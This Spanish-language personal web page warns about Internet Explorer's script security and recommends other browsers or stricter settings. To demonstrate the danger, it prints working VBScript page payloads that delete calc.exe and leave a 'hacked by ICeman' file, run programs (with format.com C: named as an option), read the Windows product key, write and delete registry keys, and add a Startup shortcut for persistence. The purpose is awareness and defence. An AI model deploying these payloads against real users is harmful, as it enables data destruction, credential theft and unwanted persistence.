Home Notas Weblog Downloads Manuales Mis programas Diseño web Links Correo Información legal Mejor visto en ... FAQ Acerca del autor Menú
RSS 1.0

El peligro de usar Internet Explorer

Este artículo se refiere a vulnerabilidades básicas de Internet Explorer. Si usás otro navegador (Netscape, Opera, Mozilla, etc.) no te preocupes, estás a salvo.

Si usás Internet Explorer y creés que es seguro, clickeá en el botón de abajo:

Quizás seas curioso y clickeaste teniendo otro navegador. Te habrá dado un error benigno, ya que está escrito en un lenguaje interpretado sólo por Internet Explorer.

Como soy bueno, puse en este script diálogos de confirmación; así que podés apretar el botón. No va a hacerte daño si vos no querés.

Si te dió un error diciendo: El servidor de automatización no puede crear el objeto, significa que tu Internet Explorer está bien configurado. Felicitaciones.

Si te dice que este script puede ser inseguro, y te pregunta si lo querés ejecutar igual, también te felicito.

Pero si sacó la cuenta de todos los archivos de tu carpeta de Windows, estás cagado hermano. Podría haberte borrado todo el contenido del disco rígido sin siquiera preguntarte. En serio.

¿Qué es un script?

Un script (script en inglés significa guión) es un programita en forma de código fuente, el cual es interpretado por otro programa, llamado intérprete o host.

El script es una secuencia de pasos que el intérprete ejecuta uno por uno hasta que termine o aparezca un error.

Los scripts pueden tener distintos intérpretes, generalmente se usan programas independientes y dedicados, como perl.exe o wscript.exe. Pero se pueden insertar scripts dentro de otros códigos, como una página web, un documento de office o el cuerpo de un e-mail.

El problema es que tenés programas embebidos en documentos. ¿Podés confiar en esos programas? Depende, si sabés programación, y ves el código del script antes de ejecutarlo, entonces podés confiar. Si no sabés programar, entonces no podés confiar porque estás a ciegas. ¿Te pueden hacer daño? Sí.

El problema de Internet Explorer

Yendo al caso de los scripts en la web, éstos se usan para hacer efectos pedorros en las páginas web, y para molestar a los usuarios con pop-ups y otras annoyances.

En teoría se podrían usar para cosas útiles, de hecho para eso fueron creados. Pero la verdad es que nunca se usan para nada bueno, y un sitio excelente no necesita scripts. En este sitio no los uso, con la excepción de esta página y algún código que me pueda haber agregado el hosting (espero que no lo haga).

El problema específico de Internet Explorer es que el intérprete de scripts que trae permite enlaces muy peligrosos con el sistema operativo. En el ejemplo del botón, uso un acceso al FileSystem para crear, borrar y modificar archivos y carpetas de tu disco rígido. También tengo acceso al registro de Windows y tu entorno de red.

La verdad que no entiendo para qué un diseñador web querría copiar, mover y modificar tus archivos, a menos que te quiera hacer algo muy malo. Admitámoslo, es un peligro innecesario.

Lo que sigue es el código de este script, ligeramente modificado para que no use el botón, sino que se ejecute al entrar a la página.

<script type="text/vbscript">
' <!--
Dim System
Set System = CreateObject( "Scripting.FileSystemObject" )
Set Carpeta = System.GetSpecialFolder(0)
Dim archivo,Archivos
archivo = System.BuildPath(Carpeta,"ICeman.txt")
Set Archivos = Carpeta.Files
window.alert "Archivos en "&Carpeta&" = "&Archivos.Count
Dim Calculadora
Calculadora = System.BuildPath(Carpeta,"calc.exe")
Dim Existe
Existe = System.FileExists(Calculadora)
if Existe = false then
    window.alert "Este script borra tu calculadora"&chr(10)&"pero la tuya ya fue borrada."
else
    Set Calculadora = Archivos.Item("calc.exe")
    Dim pregunta
    Pregunta = confirm("¿Querés que borre la calculadora? "&Calculadora)
    if Pregunta = true then
        Calculadora.Delete
        window.alert "La calculadora fue borrada de "&Carpeta
        Dim Texto
        Set Texto = System.CreateTextFile(archivo)
        Texto.WriteLine "Fuiste Hackeado por ICeman."
        Texto.WriteLine "Reinstalá la calculadora en Agregar/Quitar programas."
        Texto.Close
    else
        window.alert "Sabia decisión. La calculadora sigue en "&Calculadora
    End if
End if
' -->
</script>

Por partes: crea el FileSystem Object. Busca la carpeta de Windows. Te dice la cantidad de archivos que contiene (sin contar subcarpetas). Busca la calculadora (calc.exe), si no existe da un error y termina. Si existe, te da la opción de borrarla. Si aceptás, la borra y crea en su lugar un archivo de texto llamado "ICeman.txt" en el que dice cómo te hackeé.

Ese código va en el head, está en el lenguaje Visual Basic Script que sólo es usado por Internet Explorer. El lenguaje estándar es JavaScript, pero en estos casos no lo uso porque quiero dañar sólo a Internet Explorer.

Lo que sigue son otros códigos, también en Visual Basic Script. A todos ellos les saqué las confirmaciones y el chequeo de errores. Para probarlos, copialos y pegalos dentro del head de un documento HTML, y miralos con Internet Explorer. Acordate que los otros navegadores no tienen estas vulnerabilidades.


Ejecutar programas del cliente

Si el programa está en la variable de entorno PATH (C:\Windows, por ejemplo) simplemente poné el nombre. Si está en otro lugar, poné el path completo.

<script type="text/vbscript">
' <!--
Dim Shell
Set Shell = CreateObject("WScript.Shell")
Shell.Run "notepad.exe"
' -->
</script>

Esto hace que se ejecute un comando, igual que en una línea de comandos. En lugar del notepad.exe podría ejecutar format.com C:


Leer el registro

<script type="text/vbscript">
' <!--
Dim Shell
Set Shell = CreateObject("WScript.Shell")
Dim Registro
Registro = Shell.RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion\ProductKey")
Shell.Popup "Tu clave de Windows es:"&chr(10)&Registro,2,"ICeman Script",64
' -->
</script>

Escribiendo y borrando el registro

Este script crea la clave HKEY_CURRENT_USER\Software\ICeman, y pone un string de nombre leeme con el mensaje de hack como valor.

Ojo! fijate que podría sobreescribir cualquier clave anterior.

<script type="text/vbscript">
' <!--
Dim Shell
Set Shell = CreateObject("WScript.Shell")
Dim Registro
Shell.RegWrite "HKCU\Software\ICeman\leeme","Fuiste hackeado por ICeman"
' -->
</script>

Nota: Hay ciertos flags que se pueden poner al final de la línea 6 para que guarde el valor como string, DWORD, o valor binario.

El siguiente script borra lo creado anteriormente. Pero podría borrar ramas del registro enteras.

<script type="text/vbscript">
' <!--
Dim Shell
Set Shell = CreateObject("WScript.Shell")
Dim Registro
Shell.RegDelete "HKCU\Software\ICeman\"
' -->
</script>

Creando accesos directos

Hay dos tipos de accesos directos: a un archivo, y a una dirección de internet. Los primeros llevan la extensión .lnk y los segundos .url. En este caso voy a hacer uno del segundo tipo, en el escritorio, a la página actual.

<script type="text/vbscript">
' <!--
Dim Shell
Set Shell = CreateObject("WScript.Shell")
Dim Escritorio,Acceso,Direccion
Direccion = document.location
Escritorio = Shell.SpecialFolders("Desktop")
Set Acceso = Shell.CreateShortcut(Escritorio & "\ICeman.url")
Acceso.TargetPath = Direccion
Acceso.Save
' -->
</script>

Si en lugar de crearlo en Desktop lo creaba en Favorites, la página hubiera quedado en favoritos sin hacer una sola pregunta.

Y acá hay un acceso directo a un archivo.

<script type="text/vbscript">
' <!--
Dim Shell
Set Shell = CreateObject("WScript.Shell")
Dim Inicio,Acceso,Destino
Inicio = Shell.SpecialFolders("Startup")
Destino = "C:\Windows\winmine.exe"
Set Acceso = Shell.CreateShortcut(Inicio & "\ICeman.lnk")
Acceso.TargetPath = Destino
Acceso.Description = "Buscaminas"
Acceso.IconLocation = Destino&",0"
Acceso.WorkingDirectory = "C:\Windows"
Acceso.Save
' -->
</script>

El script de arriba crea un acceso directo al buscaminas en la subcarpeta inicio del menú inicio, por lo que se lanzará el buscaminas cada vez que arranque Windows.


Trabajar con archivos y carpetas

Para trabajar con archivos hay que usar el FileSystemObject, que es lo que uso en el script de esta página. Permite copiar, mover, borrar, crear y cambiar archivos. Para poder modificarlos, tienen que ser archivos ASCII.

<script type="text/vbscript">
' <!--
Dim System
Set System = CreateObject("Scripting.FileSystemObject")
Dim Temporal,Archivo
Archivo = prompt("Tipeá la dirección de un archivo en tu disco","C:\Mis Documentos\")
Set Archivo = System.GetFile(Archivo)
Temporal = System.GetSpecialFolder(2)
Dim Nombre
Nombre = Archivo.Name
Nombre = System.BuildPath(Temporal,Nombre)
Archivo.Copy Nombre
alert "El archivo se copió a la carpeta temporal"
' -->
</script>

Ahí tenés una copia simple de archivos. Y lo que sigue es apenas más compejo, capaz de crear carpetas y archivos de texto.

<script type="text/vbscript">
' <!--
Dim System
Set System = CreateObject("Scripting.FileSystemObject")
Dim carpeta,archivo
carpeta = prompt("Escribí el nombre de una carpeta. Si no existe, se creará","C:\Mis Documentos")
Dim existe
existe = System.FolderExists(carpeta)
if existe = false then
    System.CreateFolder(carpeta)
End if
archivo = prompt("Ahora escribí el nombre de un archivo de texto.","archivo.txt")
archivo = System.BuildPath(carpeta,archivo)
Set archivo = System.OpenTextFile(archivo,2,1)
archivo.Write "Archivo de texto creado por ICeman mediante un script"
archivo.Close
' -->
</script>

Hay más, mucho más. Pero esta nota es sólo una nota y no un manual de scripting. Si querés una lista de estas funciones, buscá un manual en el sitio de Microsoft o hacé como hice yo, viendo las librerías de tipos. Podés bajar ambas de acá.


¿Porqué una vulnerabilidad tan grande?

Sí, te habrás preguntado eso. Yo creo que tiene que ver con que Windows a partir de '98 usa a Internet Explorer como interfaz gráfica, por lo que incluyeron funciones de control del sistema en el navegador. Grave error. Todo esto es por la arquitectura de Windows, en la que todo el código está mezclado; en lugar de estar separado en módulos bien diferenciados como Linux.

Todo esto viene del juicio antimonopolio que le hizo Netscape a Microsoft. La resolución anticipada por el juez sería que Microsoft distribuya a Windows y a Internet Explorer por separado. Para conservar el monopolio de navegadores, Microsoft hizo que Internet Explorer sea la interfaz gráfica de Windows '98 y posteriores. Este tipo de controles son necesarios, por ejemplo, para la vista web de las carpetas.

La pregunta del millón, que seguro te estás haciendo, es ¿Soy vulnerable?. No necesariamente.

Vos podés configurar a Internet Explorer para que no ejecute cualquier cosa en la web. Para eso tenés que ir a Herramientas > Opciones de Internet > Seguridad.

Pero lo mejor que podés hacer es navegar con otro navegador, por ejemplo Mozilla u Opera. De este modo separás los tantos: tus archivos por un lado, la web por otro. Eso sería lo más seguro.


XHTML válido CSS válido ¡Bajate Firefox! ¡Instalá el soporte Java ya! Algunos derechos reservados